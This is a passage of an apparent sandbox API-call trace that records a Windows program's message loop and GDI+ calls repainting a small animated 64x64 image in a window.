returned 0 [0149.065] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.065] GetSystemMetrics (nIndex=42) returned 0 [0149.065] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.065] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.065] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.065] CoTaskMemFree (pv=0x1e91eca0) [0149.065] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0149.065] GdipCreateRegion (region=0x15d710) returned 0x0 [0149.065] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0149.065] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0149.065] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0149.065] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0149.066] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.066] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.066] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.066] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0149.066] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.066] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.067] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.067] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.067] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0149.067] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0149.067] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0149.067] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0149.067] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.067] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0149.067] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0149.067] GetCurrentObject (hdc=0xffffffff840107cb, type=0x1) returned 0x1b00017 [0149.067] GetCurrentObject (hdc=0xffffffff840107cb, type=0x2) returned 0x1900010 [0149.067] GetCurrentObject (hdc=0xffffffff840107cb, type=0x7) returned 0x1a05067e [0149.068] GetCurrentObject (hdc=0xffffffff840107cb, type=0x6) returned 0x18a002e [0149.068] SaveDC (hdc=0xffffffff840107cb) returned 1 [0149.068] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffee0407c3 [0149.068] GetClipRgn (hdc=0xffffffff840107cb, hrgn=0xffffffffee0407c3) returned 0 [0149.068] SelectClipRgn (hdc=0xffffffff840107cb, hrgn=0xffffffffbe040b8a) returned 2 [0149.068] DeleteObject (ho=0xffffffffee0407c3) returned 1 [0149.068] DeleteObject (ho=0xffffffffbe040b8a) returned 1 [0149.068] OffsetViewportOrgEx (in: hdc=0xffffffff840107cb, x=0, y=0, lppt=0x26f3eb0 | out: lppt=0x26f3eb0) returned 1 [0149.068] GetNearestColor (hdc=0xffffffff840107cb, color=0xffffff) returned 0xffffff [0149.068] CreateSolidBrush (color=0xffffff) returned 0xffffffffc6100190 [0149.068] FillRect (hDC=0xffffffff840107cb, lprc=0x15d7c0, hbr=0xffffffffc6100190) returned 1 [0149.068] DeleteObject (ho=0xffffffffc6100190) returned 1 [0149.068] RestoreDC (hdc=0xffffffff840107cb, nSavedDC=-1) returned 1 [0149.068] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.069] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff840107cb) returned 0x0 [0149.069] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc5a0dbd) returned 0x0 [0149.069] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.069] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0149.069] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.069] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.069] GetSystemMetrics (nIndex=42) returned 0 [0149.069] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.069] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.069] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.069] CoTaskMemFree (pv=0x1e91eca0) [0149.069] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0149.069] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0149.069] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0149.069] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0149.070] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff840107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0149.070] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.070] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff840107cb) returned 0x0 [0149.070] SelectObject (hdc=0xffffffff840107cb, h=0x185000f) returned 0x1a05067e [0149.070] DeleteDC (hdc=0xffffffff840107cb) returned 1 [0149.070] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.070] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0149.070] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0149.070] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0149.070] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.070] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.070] WaitMessage () returned 1 [0149.233] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.233] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.233] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.233] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.233] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.233] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0149.233] GetCurrentThreadId () returned 0xec0 [0149.233] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0149.234] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.234] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.234] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.234] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.234] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.234] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0149.234] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0149.234] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff850107cb [0149.234] SelectObject (hdc=0xffffffff850107cb, h=0x1a05067e) returned 0x185000f [0149.234] GdipCreateFromHDC (hdc=0xffffffff850107cb, graphics=0x15daf0) returned 0x0 [0149.234] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0149.235] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0149.235] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0149.235] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0149.235] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0149.235] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.235] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0149.235] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.236] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.236] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0149.236] GdipCreateRegion (region=0x15dc20) returned 0x0 [0149.236] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0149.236] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0149.236] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0149.236] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.236] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.236] GetSystemMetrics (nIndex=42) returned 0 [0149.236] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.236] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.236] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.236] CoTaskMemFree (pv=0x1e91eca0) [0149.236] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0149.236] GdipCreateRegion (region=0x15d710) returned 0x0 [0149.236] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0149.237] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0149.237] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0149.237] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0149.237] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.237] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.237] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.237] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0149.237] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.237] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.238] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.238] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.238] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0149.238] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0149.238] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0149.238] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0149.238] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.238] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0149.238] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0149.239] GetCurrentObject (hdc=0xffffffff850107cb, type=0x1) returned 0x1b00017 [0149.239] GetCurrentObject (hdc=0xffffffff850107cb, type=0x2) returned 0x1900010 [0149.239] GetCurrentObject (hdc=0xffffffff850107cb, type=0x7) returned 0x1a05067e [0149.239] GetCurrentObject (hdc=0xffffffff850107cb, type=0x6) returned 0x18a002e [0149.239] SaveDC (hdc=0xffffffff850107cb) returned 1 [0149.239] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffbf040b8a [0149.239] GetClipRgn (hdc=0xffffffff850107cb, hrgn=0xffffffffbf040b8a) returned 0 [0149.239] SelectClipRgn (hdc=0xffffffff850107cb, hrgn=0xffffffffef0407c3) returned 2 [0149.239] DeleteObject (ho=0xffffffffbf040b8a) returned 1 [0149.239] DeleteObject (ho=0xffffffffef0407c3) returned 1 [0149.239] OffsetViewportOrgEx (in: hdc=0xffffffff850107cb, x=0, y=0, lppt=0x26f47e8 | out: lppt=0x26f47e8) returned 1 [0149.239] GetNearestColor (hdc=0xffffffff850107cb, color=0xffffff) returned 0xffffff [0149.240] CreateSolidBrush (color=0xffffff) returned 0xffffffffc7100190 [0149.240] FillRect (hDC=0xffffffff850107cb, lprc=0x15d7c0, hbr=0xffffffffc7100190) returned 1 [0149.240] DeleteObject (ho=0xffffffffc7100190) returned 1 [0149.240] RestoreDC (hdc=0xffffffff850107cb, nSavedDC=-1) returned 1 [0149.240] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.240] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff850107cb) returned 0x0 [0149.240] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc580dbd) returned 0x0 [0149.240] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.240] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0149.240] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.240] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.240] GetSystemMetrics (nIndex=42) returned 0 [0149.240] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.240] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.240] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.241] CoTaskMemFree (pv=0x1e91eca0) [0149.241] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x18) returned 0x0 [0149.243] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0149.243] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0149.243] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0149.243] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0149.243] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff850107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0149.243] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.244] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff850107cb) returned 0x0 [0149.244] SelectObject (hdc=0xffffffff850107cb, h=0x185000f) returned 0x1a05067e [0149.244] DeleteDC (hdc=0xffffffff850107cb) returned 1 [0149.244] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.244] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0149.244] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0149.244] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0149.244] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.244] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.244] WaitMessage () returned 1 [0149.390] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.390] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.390] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.390] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.390] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.390] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0149.390] GetCurrentThreadId () returned 0xec0 [0149.390] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0149.390] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.390] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.390] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.390] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.390] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.390] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0149.391] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0149.391] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff860107cb [0149.391] SelectObject (hdc=0xffffffff860107cb, h=0x1a05067e) returned 0x185000f [0149.391] GdipCreateFromHDC (hdc=0xffffffff860107cb, graphics=0x15daf0) returned 0x0 [0149.391] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0149.391] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0149.391] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0149.391] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0149.391] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0149.391] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.391] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0149.392] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.392] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.392] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0149.392] GdipCreateRegion (region=0x15dc20) returned 0x0 [0149.392] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0149.393] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0149.393] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0149.393] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.393] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.393] GetSystemMetrics (nIndex=42) returned 0 [0149.393] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.393] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.393] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.393] CoTaskMemFree (pv=0x1e91eca0) [0149.393] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0149.393] GdipCreateRegion (region=0x15d710) returned 0x0 [0149.393] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0149.393] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0149.393] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0149.393] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0149.394] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.394] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.394] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.394] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0149.394] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.394] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0149.395] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0149.395] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.395] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0149.395] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0149.395] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0149.395] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0149.395] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.395] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0149.395] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0149.395] GetCurrentObject (hdc=0xffffffff860107cb, type=0x1) returned 0x1b00017 [0149.396] GetCurrentObject (hdc=0xffffffff860107cb, type=0x2) returned 0x1900010 [0149.396] GetCurrentObject (hdc=0xffffffff860107cb, type=0x7) returned 0x1a05067e [0149.396] GetCurrentObject (hdc=0xffffffff860107cb, type=0x6) returned 0x18a002e [0149.396] SaveDC (hdc=0xffffffff860107cb) returned 1 [0149.396] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffff00407c3 [0149.396] GetClipRgn (hdc=0xffffffff860107cb, hrgn=0xfffffffff00407c3) returned 0 [0149.396] SelectClipRgn (hdc=0xffffffff860107cb, hrgn=0xffffffffc0040b8a) returned 2 [0149.396] DeleteObject (ho=0xfffffffff00407c3) returned 1 [0149.396] DeleteObject (ho=0xffffffffc0040b8a) returned 1 [0149.396] OffsetViewportOrgEx (in: hdc=0xffffffff860107cb, x=0, y=0, lppt=0x26f5ae0 | out: lppt=0x26f5ae0) returned 1 [0149.396] GetNearestColor (hdc=0xffffffff860107cb, color=0xffffff) returned 0xffffff [0149.396] CreateSolidBrush (color=0xffffff) returned 0xffffffffc8100190 [0149.396] FillRect (hDC=0xffffffff860107cb, lprc=0x15d7c0, hbr=0xffffffffc8100190) returned 1 [0149.397] DeleteObject (ho=0xffffffffc8100190) returned 1 [0149.397] RestoreDC (hdc=0xffffffff860107cb, nSavedDC=-1) returned 1 [0149.397] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.397] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff860107cb) returned 0x0 [0149.397] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc560dbd) returned 0x0 [0149.397] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.397] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0149.397] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0149.397] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0149.397] GetSystemMetrics (nIndex=42) returned 0 [0149.397] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0149.397] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0149.397] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0149.397] CoTaskMemFree (pv=0x1e91eca0) [0149.397] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0149.398] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0149.398] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0149.398] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0149.398] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff860107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0149.398] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.398] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff860107cb) returned 0x0 [0149.398] SelectObject (hdc=0xffffffff860107cb, h=0x185000f) returned 0x1a05067e [0149.398] DeleteDC (hdc=0xffffffff860107cb) returned 1 [0149.398] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0149.398] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0149.398] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0149.398] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0149.399] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.399] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0149.399] WaitMessage () returned 1 [0149.562] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.562] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.562] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.562] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.562] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.563] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0149.563] GetCurrentThreadId () returned 0xec0 [0149.563] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0149.563] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0149.563] IsWindowUnicode (hWnd=0x2031e) returned 1 [0149.563] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0149.563] TranslateMessage (lpMsg=0x15e910) returned 0 [0149.563] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0149.563] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0149.563] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0149.563] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff870107cb [0149.563] SelectObject (hdc=0xffffffff870107cb, h=0x1a05067e) returned 0x185000f [0149.563] GdipCreateFromHDC (hdc=0xffffffff870107cb, graphics=0x15daf0) returned 0x0 [0149.564] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0149.564] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0149.564] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0149.564] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0149.564] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0149.564] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0149.564] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 